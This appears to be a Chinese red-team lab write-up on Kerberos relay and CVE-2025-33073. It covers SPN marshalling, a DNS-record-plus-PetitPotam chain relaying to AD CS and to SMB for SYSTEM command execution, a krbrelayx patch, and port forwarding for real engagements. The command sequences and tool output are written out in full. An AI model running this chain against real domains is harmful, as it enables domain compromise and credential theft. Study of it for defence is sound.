昨天披露了CVE-2025-33073这个漏洞，范围很广，只要是没有SMB签名的域内机器都可以通杀（DC默认开启SMB签名）。觉得还是挺有意思，刚好将以前没有整理的关于kerberos relay有用的点一起整理一下。

所以这是一篇拼接笔记，附带加上一些自己的理解和想法。

本地环境

如果不做额外说明，都是按照下面表格中对应的信息进行实验。

FQDN	ip	版本	属性
dc1.redteam.lab	192.168.13.130	Server 2016	Domain Controller
redteam-win10.redteam.lab	192.168.13.150	win 10	Domain Computer
kali	192.168.13.200	kali 2025	Attacker kali linux

Kerberos Relay

关于kerberos的原理可以看以往的文章：https://1zzzzz.com/kerberos/

Kerberos relay的目标是将一个服务的客户端发起的AP_REQ消息中继到另一个服务。但是和 NTLM 中继攻击一样，目标服务和客户端不能强制加密或者签名，因为我们作为攻击者没有用来解密的会话密钥。

有一个难以利用的点：Kerberos中的AP-REQ严格绑定客户端最初请求的SPN，如果攻击者尝试将捕获的AP-REQ中继到其他服务（例如从HTTP/serverA中继到CIFS/serverB），会因SPN不匹配导致认证失败。

因为AP-REQ消息的不可中继性，所以在kerberos relay中，我们需通过认证强制（如PetitPotam、PrinterBug等）诱使客户端主动向特定目标服务（如CIFS/attacker）发起Kerberos认证，生成对应的AP-REQ并返回给我们，而非直接中继现有票据，随后我们拿着这个ST的票据来访问对应的服务。

2021 年，James Forshaw 发表了一篇文章：https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html，揭露了Windows对SPN的非预期处理：

SPN不是直接使用的，而是通过CredMarshalTargetInfo/CredUnmarshalTargetInfo进行转换，将额外的信息（如目标IP、端口）编码到SPN值中，然后实际用于身份验证。

通过SecMakeSPNEx2和CredMarshalTargetInfo函数对SPN进行Base64编码处理时存在设计缺陷，会将目标服务信息（如IP、端口）附加到原始SPN末尾。例如对于cifs/redteam-win10，返回的 SPN为cifs/redteam-win101UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAredteam-win10sBAAAA

该代码只是将一些额外的目标信息附加到 SPN 的末尾，大概是为了更容易传递。我最初的假设是，在 SMB 客户端传递到 SSPI API 之前，这些信息会被剥离。但是，将此 SPN 值作为目标名称传递给 InitializeSecurityContext 会成功，并获取 cifs/fileserver 的 Kerberos 服务票证。这是如何运作的？在 lsasrv.dll 的函数 SspiExProcessSecurityContext（InitializeSecurityContext 的主入口点）中，调用了 CredUnmarshalTargetInfo API，该 API 分析封送的目标信息。但是，SspiExProcessSecurityContext 并不关心未封送的结果，而是只获取封送数据的长度，并将其从目标 SPN 字符串的末尾删除。因此，在 Kerberos 软件包获取目标名称之前，它已恢复到原始 SPN。

这一机制导致DNS解析与Kerberos认证目标分离：攻击者可构造特殊DNS记录（如redteam-win101UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAredteam-win10sBAAAA指向恶意IP），当某台域内机器对其认证的时候，却请求了cifs/redteam-win10的 Kerberos 票据。

这种DNS解析与认证目标的分离性使得攻击者可以通过强制身份验证可稳定触发特定机器账户的AP_REQ请求，从而突破了传统Kerberos中继防护机制。

通用DNS name：srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA（针对srv1$）、localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA(代表所有机器)

关于CREDENTIAL_TARGET_INFORMATIONW的构造：https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx

2022 年，Dirk-jan Mollema 发表了另一篇文章：https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/，提出通过DNS协议实现Kerberos中继：

Dirk-jan Mollema提出的DNS欺骗技术（如mitm6劫持IPv6响应），攻击者可强制客户端生成针对攻击者控制SPN的AP_REQ票据，并通过身份验证强制（如机器账户srv1$）将请求定向到恶意系统。突破Kerberos中继的固有限制（如AP-REQ不可中继性），实现跨协议攻击（如HTTP→LDAP），显著的扩大攻击面。

其他kerberos relay的变种基本都是围绕上面两个研究成果展开。

Kerberos Relay with KrbRelay Framework

https://github.com/cube0x0/KrbRelay是一个Kerberos Relay框架，通过Windows COM对象触发跨会话Kerberos认证，将服务票据（TGS）中继至攻击者指定目标，并且支持LDAP中继实施RBCD/Shadow Credentials，但已被修复失效。当前核心价值在于：无需OXID解析器和Linux环境，即可直接截获NetNTLMv2 hash、通过SMB服务创建执行远程代码、提取SAM等等

通过CoCreateInstance创建目标COM对象
调用QueryInterface获取ISpecialSystemProperties接口
使用SetSessionID劫持会话ID
StandardGetInstanceFromIStorage触发认证
最终将TGS票据中继至攻击者系统

后面的这些都是基于 krbrelay 和其他工具的包装，有兴趣的可以去看看：

https://github.com/Dec0ne/KrbRelayUp

https://github.com/CICADA8-Research/RemoteKrbRelay

https://github.com/Dec0ne/DavRelayUp

https://github.com/decoder-it/KrbRelay-SMBServer

https://github.com/decoder-it/KrbRelayEx

https://github.com/decoder-it/KrbRelayEx-RPC

Kerberos Relay with Krbrelayx

DNS

可以将自己宣传为 DNS 服务器，所以受害者将发送SOA到攻击者指定的假服务器，如果攻击者拒绝他们的动态更新，再使用 Kerberos 进行身份验证；ESC8的利用涉及 NTLM 中继到证书服务的 HTTP 接口部分来颁发证书。该接口接受 NTLM 身份验证并没有强制验证签名，因此可以将接收到的Kerberos 身份验证转发到 ADCS web页面来申请用户证书。

原理：

1.自 Windows Vista 以来的所有 Windows 都默认启用了IPV6，并且优先级比IPV4更高，每台机器都会定期请求DNS配置。

2.AD中的 DNS 支持使用 Kerberos 在 DNS 上进行身份验证，用于此使具有动态地址的网络客户端的 DNS 记录与其当前 IP 地址保持同步：

3.许多服务类实际上会隐式映射到 HOST 类（包括 DNS），因此当受害者请求 DNS 服务的票证时，实际上适用于具有 HOST SPN 的任何帐户。这是默认在域中的所有计算机帐户上设置的，因此可以针对在这些帐户下运行的任何服务。

4.在去年的关于ADCS利用的白皮书中，ESC8的利用涉及 NTLM 中继到证书服务的 HTTP 接口部分来颁发证书。该接口接受 NTLM 身份验证并没有强制验证签名，因此可以将接收到的Kerberos 身份验证转发到 ADCS web页面来申请用户证书。

5.在RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议，可通过X.509 证书用来获取 Kerberos 票据。后续在ADCS web页面申请的证书可以转换为用户的TGT。

具体的分析可以看以往的文章：https://1zzzzz.com/tong-guo-dnsjin-xing-kerberos-relay/

SMB

某些服务器可能会拒绝 NTLM 身份验证，比如 ADCS 的 web证书注册端点IIS HTTP server默认存在ESC8这个NTLM relay漏洞，很多蓝队可能只是关闭了IIS的NTLM认证，但是这个端点的Kerberos认证也是默认开启的。那么在访问403（关闭IIS NTLM认证）的情况下，可以通过下面的Kerberos Relay进行bypass。

https://github.com/decoder-it/KrbRelay-SMBServer最早实现了将AP-REQ 中继到 CIFS 或 HTTP这个功能：

攻击者通过添加特意构造的 DNS 来触发强制认证，在初始化NTLM认证阶段的时候，没有彻底验证目标名称有效性，导致超长或畸形目标名被处理为cifs/redteam-win10。

在https://github.com/dirkjanm/krbrelayx/pull/43这个PR 添加了对 SMB 上的 Kerberos relay的支持。

上面代码关键的逻辑：

从authdata中提取用户信息（domain/username）和SPN。
遍历配置中的目标列表，匹配与 SPN 主机名一致的目标。
如果匹配成功，初始化客户端连接并启动攻击线程（比如 SMB、LDAP 等协议的攻击）；若未找到匹配目标，记录错误日志。

首先，正如前面说的SPN的非预期处理，注册攻击者机器对应的 DNS 记录，指向我们的攻击机（192.168.13.200）：

 python3 dnstool.py -u "redteam.lab\tester" -p "Qq123456.." -r "adcs-machine1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "192.168.13.200" --action add "192.168.13.130" --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

强制域控向我们进行身份认证：

python3 PetitPotam.py -u 'tester' -p 'Qq123456..' -d redteam.lab 'adcs-machine1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc1.redteam.lab

结果如下：

python3 krbrelayx.py -t 'http://adcs-machine.redteam.lab/certsrv/certfnsh.asp' --adcs --template DomainController -v 'dc1$'
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.13.130
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 192.168.13.130
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user dc1$ since attack was already performed
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./dc1$.pfx
[*] Certificate successfully written to file

在RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议，可通过 X.509 证书用来获取 Kerberos 票据 (TGT)：

python3 gettgtpkinit.py -cert-pfx 'dc1$.pfx' 'redteam.lab/dc1$' dc1.ccache
INFO:minikerberos:Loading certificate and key from file
INFO:minikerberos:Requesting TGT
INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:ea6c23d5df187c1df9694ac16c6b5109921ccd5c1080a40df932b2402d46fa2a
INFO:minikerberos:Saved TGT to file

而当使用证书进行 PKCA 扩展协议认证的时候，返回的 PAC 中包含了NTLM票据，PAC 又包含在 TGT 中，所以我们可以从 TGT 里解密获得NTLM hash。

export KRB5CCNAME=dc1.ccache

python3 getnthash.py -key ea6c23d5df187c1df9694ac16c6b5109921ccd5c1080a40df932b2402d46fa2a -dc-ip 192.168.13.130 redteam.lab/dc1$

现在拿到了 DC机器账户的 hash 了，后续可以考虑白银票据，或者是 Dcsync 等等，这里就不举例说明了。

上面的一系列命令，我们通过查看 Wireshark，发现在AP_REQ阶段请求cifs/redteam-win10的 kerberos 票据：

攻击者的SMB 服务器收到AP_REQ消息，从AP_REQ派生的身份认证数据随后将传递给ntlmrelayx支持的各种攻击。对于 HTTP我们常用 ESC8 或者 webclient relay，AP_REQ 是 Base64 编码的并包含在标头中Authorization: Kerberos base64_AP_REQ。

CVE-2025-33073-The Reflective Kerberos Relay Attack over SMB

NTLM Reflect Relay

NTLM Reflect是 NTLM 身份验证中继的一种特殊情况，其中原始身份验证被中继回发起身份验证的计算机。此类漏洞是通过 MS08-68 公开引入的，Microsoft 阻止了 SMB 到 SMB 的 NTLM 反射。多年来，其他利用媒介被发现并进行了修补，例如 HTTP 到 SMB 反射（在 MS09-13 中修补）和 DCOM 到 DCOM 反射（在 MS15-076 中修补）。

微软在ms08-068中对smb reflect到smb 做了限制，

Ghost Potato绕过了ms08-068的补丁，当主机A以cifs/B为SPN向主机B发起SMB认证时，主机B会在LSASS中缓存(Challenge, cifs/B)，时效定为300秒。若主机A与B为同一台机器，因缓存存在导致认证失败；若为不同主机或缓存过期（300秒后），则认证通过。

Ghost Potato认证图：

可以参考Shenaniganslabs的Ghost Potato poc：https://shenaniganslabs.io/files/impacket-ghostpotato.zip。其核心代码如下，可以看到当messageType为3的时候先sleep 315秒，再进行认证。

受影响版本

所有未安装CVE-2025-33073安全补丁、没有强制启用SMB签名的域内机器都被通杀（DC默认开启SMB签名）。

原理

CVE-2025-33073属于NTLM反射攻击（NTLM Relay的一种特殊形式），其核心在于攻击者将受害机器的NTLM认证请求反射回同一台机器，利用协议逻辑缺陷实现权限提升。

该漏洞允许攻击者强制Windows受害者主机通过SMB连接到攻击者控制的系统，并通过Kerberos进行身份验证。随后，攻击者可将捕获的Kerberos票据（AP-REQ）通过SMB中继回同一主机。尽管强制认证通常会以计算机账户（如redteam-win10$）的低权限会话

结束，但在此漏洞利用中，生成的SMB会话却意外获得NT AUTHORITY\SYSTEM权限，从而允许执行任意命令。

此漏洞与MS08-068（NTLM反射攻击）类似，但适用于Kerberos协议。在默认配置下（未启用SMB签名），任何经过身份验证的攻击者均可远程获取域内绝大多数计算机（域控制器、Windows 11及Windows Server 2025除外）的管理权限。攻击的核心在于：

身份强制认证：通过强制认证（如PetitPotam）使目标主机向攻击者发起Kerberos认证请求；
强制目标和SPN的分离：通过上面讲到的恶意利用SPN的解析逻辑：攻击者通过更新域内的DNS，从而注册一个指向自身的主机名（如fake-host），但通过CREDENTIAL_TARGET_INFORMATIONW结构嵌入目标主机的真实SPN信息（如cifs/target）；当目标主机被强制连接fake-host时，实际生成的Kerberos票据却是针对cifs/target的。通过此技术，攻击者最终获得的是目标主机发给自己的合法Kerberos票据（AP-REQ），从而可以绕过SPN校验，将票据反射回目标主机并获取高权限。
权限升级：中继回同一主机时，系统错误地将计算机账户会话提升至SYSTEM权限。

该漏洞揭示了Kerberos协议在本地上下文验证和权限继承机制中的设计缺陷，需通过启用SMB签名或限制跨协议认证缓解。

先决条件

任意访问域内用户凭证（ticket/password）
从攻击者到要攻击的目标系统的 SMB （TCP 445）的双向网络访问
受害者机器不开启SMB签名（这是 Windows 11 或 Windows Server 2025 之前的 Windows 系统的默认设置）
攻击者能够更新 DNS （默认所有域用户都有权限）
强制身份验证没有被修复

验证是否开启强制SMB 签名

(1)nmap

nmap -sVC -p 445 redteam-win10.redteam.lab

(2)crackmapexec/netexec

crackmapexec smb redteam-win10.redteam.lab

DNS update

(1)Powermad

  PS C:\> Import-Module C:\Tools\Powermad.ps1
  PS C:\> New-ADIDNSNode -DomainController "dc1.redteam.lab" `
      -Node ("redteam-win10" + "1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA") `
      -DNSRecord (New-DNSRecordArray -Type A -Data "192.168.13.200") -Verbose
  VERBOSE: [+] Domain = redteam.lab
  VERBOSE: [+] Forest = redteam.lab
  VERBOSE: [+] ADIDNS Zone = redteam.lab
  VERBOSE: [+] Distinguished Name = DC=redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=redteam.lab,CN=MicrosoftDNS,DC=DomainDNSZones,DC=redteam,DC=lab
  [+] ADIDNS node redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA added

DNS 查询：

  PS C:\> nslookup redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

  Name:    redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.redteam.lab
  Address:  10.10.10.200

(2)dnstool.py

python3 dnstool.py -u 'redteam.lab\tester' -p Qq123456.. 192.168.13.130 -a add -r redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.13.200 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

NTLM Reflection

# 在攻击机器上进行监听，并将认证转发到目标机器上：

python3 ntlmrelayx.py -t redteam-win10.redteam.lab -smb2support

# 触发强制认证，让目标机器强制向攻击者机器进行认证：

python3 PetitPotam.py -u tester -p Qq123456.. -d redteam.lab redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA redteam-win10.redteam.lab

有两个点违背了我们以前的概念：

smb reflect不应该成功。
通过网络进行远程身份验证时，用于进行身份验证的计算机帐户redteam-win10$不应该有对系统本身的管理权限。

原因是在带有redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA主机名的relay pcap中，发生了 NTLM 本地身份验证而不是标准的NTLM身份验证。

NTLM 本地身份验证

具体原理可以看：https://davenport.sourceforge.net/ntlm.html#localAuthentication

简而言之，本地身份验证是客户端与服务器通过NTLM协议协商的认证流程

客户端调用AcquireCredentialsHandle获取当前用户凭据句柄（SSPI单点登录），生成包含工作站/域名的Type 1消息。
服务器通过AcceptSecurityContext检查Type 1消息，若客户端与服务器为同一机器，则在Type 2消息中标记Negotiate Local Call并返回SSPI上下文句柄。
客户端验证Type 2的上下文有效性后，直接关联默认凭据，返回空Type 3消息（无计算响应）。
服务器确认上下文绑定用户即成功，否则失败。

由于客户端和服务器位于同一台计算机上，因此一切都发生在同一个 lsass.exe 进程中。最终，客户端发回一条几乎为空的NTLM_AUTHENTICATE消息，服务器使用添加到其上下文中的令牌来执行进一步的操作（在这个案例中是SMB）。

在NTLM 本地身份验证的NTLMSSP_NEGOTIATE阶段，NTLM SSP的Calling workstation domain/name包含了客户端的机器名和域名：

我们可以看到，NTLMSSP_NEGOTIATE_LOCAL_CALL（0x4000）启用了标志，并且Reserved标志不为NULL。

这种行为差异表明客户端将 DNS 记录redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA检测为等效于 localhost，并提示服务器应该考虑 NTLM 本地身份验证。

具体原理可以看https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025中的Understanding the vulnerability-Root cause小节。

总结一下：该漏洞的根源在于SMB内核驱动（mrxsmb.sys ）初始化NTLM认证时的逻辑缺陷：

1.目标名解析问题

客户端通过ksecdd!InitializeSecurityContextW向LSASS传递目标名（如cifs/redteam-win101UWhRCAAAAAAAAAAAAA...），但lsasrv!LsapCheckMarshalledTargetInfo函数仅剥离封送数据，未彻底验证目标名有效性，导致超长或畸形目标名被处理为cifs/redteam-win10。

2.本地认证误判

msv1_0!SsprHandleFirstCall函数通过SspIsTargetLocalhost检查目标名是否为本机（匹配主机名/FQDN/localhost），由于未处理截断后的畸形目标名（如redteam-win10...误判为redteam-win10），错误触发本地认证流程。

3.条件绕过

当目标名被误判为本机且未显式指定凭据时，客户端自动填充工作站/域名到NTLM_NEGOTIATE消息，导致攻击者可构造特殊目标名诱导本地认证绕过。

所以最后，cifs/redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA就被错误解析为cifs/redteam-win10。

为什么在机器上拥有特权？

PetitPotam 强制lsass.exe对我们的服务器进行身份验证，lsass.exe以SYSTEM 运行。当客户端（lsass.exe）收到指示必须执行本地 NTLM 身份验证的 NTLM_CHALLENGE 消息时，它会将其 SYSTEM 令牌复制到服务器上下文中。当服务器收到NTLM_AUTHENTICATE消息时，它会从上下文对象中检索令牌，并模拟它以通过 SMB 执行进一步的操作（在这个例子中，使用远程注册表服务转储 SAM）。

Kerberos Reflection

kerberos 没有针对反射攻击的保护。因此，可以将ntlmrelayx.py替换为krbrelayx.py来执行相同的攻击：

Negotiate 身份验证包的工作原理中，如果远程服务器同时支持 Kerberos 和 NTLM（krbrelayx.py就是这种情况），并且客户端检测到目标是当前计算机，则使用 NTLM（执行本地 NTLM 身份验证）。要确定目标是否与客户端的计算机是同一台计算机，需要使用lsasrv！NegpIsLoopback函数。与msv1_0！SspIsTargetLocalhost函数类似，它将目标名称与本地主机、计算机的 FQDN 及其主机名进行比较。在这个案例中，目标名称等于主机名，因此lsasrv！NegpIsLoopback返回 true，并协商 NTLM。若要强制使用 Kerberos，需要从支持的类型中删除 NTLM mechtype：

删除krbrelayx/lib/servers/smbrelayserver.py的159行，强制使用 Kerberos进行relay

File: krbrelayx/lib/servers/smbrelayserver.py
156:         blob['tokenOid'] = '1.3.6.1.5.5.2'
157:         blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158:                                                   MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159:（delate）                                          MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])

# 在攻击机器上进行监听，并将认证转发到目标机器上：

python3 krbrelayx.py -t redteam-win10.redteam.lab -c ' whoami'

# 触发强制认证，让目标机器强制向攻击者机器进行认证：

python3 PetitPotam.py -u tester -p Qq123456.. -d redteam.lab redteam-win101UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA redteam-win10.redteam.lab

注：kerberos认证中的PAC等字段是加密传输的，所以需要在wireshark中将keytab 导入Kerberos，才能看到PAC、TGT里有用的信息，具体可参考：https://1zzzzz.com/name-impersonation-and-kdc-bamboozling-fen-xi/

通过wireshark分析，没有发现其他异常情况，就是一个强制认证的Kerberos流程，最终形成了redteam-win10$用户对cifs/redteam-win10的AP-REQ访问流量。

具体原理可以看https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025中的What about kerberos？-Root cause小节，我这里也还是给一个大概漏洞原理的总结：

1.子密钥生成逻辑存在缺陷：

当SMB客户端使用Kerberos（非NTLM）时，kerberos!SpInitLsaModeContext调用KerbMakeKeyEx生成随机AES子密钥，嵌入AP-REQ的认证器的部分。
若当前用户为SYSTEM或NETWORK SERVICE，子密钥会被记录到全局列表KerbSKeyList，关联其LUID和令牌句柄。

2.服务端验证被绕过：

服务端收到AP-REQ后，若客户端名与机器名匹配（比如redteam-win10$），则检查子密钥是否存在于KerbSKeyList中。
若子密钥的LUID对应SYSTEM（0x3E7），KerbMakeTokenInformationV3会将令牌用户设为SYSTEM并添加本地管理员SID（S-1-5-32-544），导致权限提升。
后续使用以前生成的令牌信息调用lsasrv！LsapCreateTokenEx函数来创建令牌。在这里，将创建一个 SYSTEM 令牌并将其与客户端关联。

关于DNS的问题

前面说过，kerberos relay中的问题是DNS解析与认证目标的分离性使得攻击者可以通过强制身份验证可稳定触发特定机器账户的AP_REQ请求。

因为普通域用户默认在AD中具有添加DNS的权限，而且强制认证触发的trigger普遍都需要一个域用户凭证，所以我们通常的利用都是添加DNS，因为DNS在整个域内直接生效。

但是别忘了：LLMNR、NetBIOS等可以进行域名解析欺骗（需要同一网段），所以在一些禁用了域用户添加DNS的情况下，可以通过这个方式进行利用。

关于 Relay 的端口转发问题

Relay 在实战中最大的问题从来都是端口转发，但是我看国内关于域的文章和漏洞复现都是拿着 kali 库库复现就不管了，但是在真正的攻防中，我们作为攻击者，本机的kali 只存在于本地，根本就不在目标的内网，所以就算现在有能 Relay 打下来的环境，根本就搞不下来，只能互相干瞪眼。

顺便说一下，我们平时的 frp 是 socks5，支持 tcp 和 udp，但是很多工具默认只支持over TCP，所以不论我们在域外远程 dig 或者是通过 dnstool.py这类工具添加 DNS 的时候，我们都需要DNS over TCP，所以需要加上--tcp 或者是+tcp。

下面列举几种Relay 中常见的端口转发，在前面的文章也发过了，这里顺便贴一下链接：https://1zzzzz.com/relayde-duan-kou-zhuan-fa-wen-ti-2/

Linux

起因：默认情况下，SSH server只允许将远程端口转发绑定到localhost（本地回环接口），即仅限于本地访问。

注：使用公钥连接的时候需要指定：PubkeyAuthentication yes

1.先转发到其他端口，再转发到本地

/etc/ssh/sshd_config:

AllowTcpForwarding yes （默认yes）

sudo systemctl restart sshd

先将目标的0.0.0.0:80转发到127.0.0.1:1111，然后再将127.0.0.1:1111通过ssh转发到客户端的80端口，这样就变相转发了所有的80端口流量到客户端。

这就相当于从192.168.1.1:80进来的流量直接转发到了我们本地

nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:1111 &
ssh -i ~/.ssh/id_rsa root@192.168.1.1 -R \*:1111:127.0.0.1:80

2.直接端口转发

/etc/ssh/sshd_config:

AllowTcpForwarding yes （默认yes）
GatewayPorts yes （默认no）

sudo systemctl restart sshd

当使用 SSH 进行端口转发时，SSH 可以允许将本地端口绑定到服务器的 IP 地址上。GatewayPorts 配置项决定了服务器如何处理这些端口绑定。

默认情况下，SSH 只允许将端口绑定到本地回环接口（localhost），即仅能由本地机器访问该端口。但如果启用 GatewayPorts，则允许将端口绑定到所有接口（例如，0.0.0.0），使得外部机器能够访问通过 SSH 转发的端口。

GatewayPorts允许控制 SSH 端口转发绑定到哪些网络接口，是否可以从外部访问。(yes允许端口绑定到所有接口，no（默认值）仅绑定到本地接口，clientspecified允许客户端自定义。)
AllowTcpForwarding控制 SSH 服务器是否允许 TCP 端口转发。(yes 允许所有端口转发，no 禁用所有端口转发，local 和 remote 可以限制端口转发的类型。)

ssh root@192.168.1.1 -R 0.0.0.0:8080:localhost:80

Windows

1.445

445（smb）默认在windows处于占用状态

（1）加载驱动，将445流量转发到8445

https://github.com/praetorian-inc/PortBender

PortBender redirect 445 8445

（2）将8445流量转发到攻击机445

rportfwd_local 8445 0.0.0.0 445

2.非445

比如webclient等http relay，需要用到web端口，这样就不存在445的占用问题，直接转发相应端口到本地就ok

rportfwd_local 8003 0.0.0.0 80

Relay Trigger

Method	Tools	SMB Capable	HTTP Capable	DCERPC Capable	Available on Clients	Available on Servers
MS-RPRN	PrinterBug	⭕*	⭕*	✅*	✅	✅
MS-EFSR	PetitPotam	✅	✅	❌	⭕**	⭕**
MS-DFSNM	DFSCoerce	✅	❌	❌	❌	✅
MS-WSP	wspcoerce	✅	❌	❌	✅	⭕***

*在 Windows 11 22H2 或 Windows Server 2025 之前，使用 SMB/HTTP，之后仅使用原始 DCERPC

** Service runs on-demand

*** Service can be installed

各类Sign

摘抄https://blog.redteam-pentesting.de/2025/windows-coercion/里一些认为有用的内容：

Channel Binding and EPA

从 Windows Server 2022 23H2 开始，LDAP 通道绑定默认处于激活状态在 Windows Server 2025 上，EPA 默认启用，未加密的 AD CS 默认情况下，Web 注册 API 处于禁用状态。

Operating System	LDAP Channel Binding	EPA
Windows Server 2019	❌	❌
Windows Server 2022 pre 23H2	❌	❓*
Windows Server 2022 23H2	✅	❓*
Windows Server 2025	✅	✅

*Not tested

Server-Side Message Signing

服务器端 SMB 签名已在域控制器上启用很长时间。但是，在 Windows 11 24H2 中，Microsoft 启用了服务器端 SMB 签名工作站上的传入 SMB 连接。也就是说，服务器端 SMB 签名是默认情况下，在非 DC Windows 服务器上仍然不需要，可能是一种权衡，支持需要访问 SMB 共享的旧式实现，而无需实际上支持签名。SMB 的默认设置列在Microsoft 文档。最近的变化总结如下DSIntreals的签名。与 LDAPS 的通道绑定一样，默认情况下为 Windows Server 2022 23H2 DC 启用 LDAP 签名。

Operating System	SMB Signing	LDAP Signing
Windows Server 2019 DC	✅	❌
Windows Server 2022 DC pre 23H2	✅	❌
Windows Server 2022 DC 23H2	✅	✅
Windows Server 2025 DC	✅	✅
Windows Server 2019 Member	❌	-
Windows Server 2022 Member	❌	-
Windows Server 2025 Member	❌	-
Windows 10	❌	-
Windows 11 23H2	❌	-
Windows 11 24H2	✅	-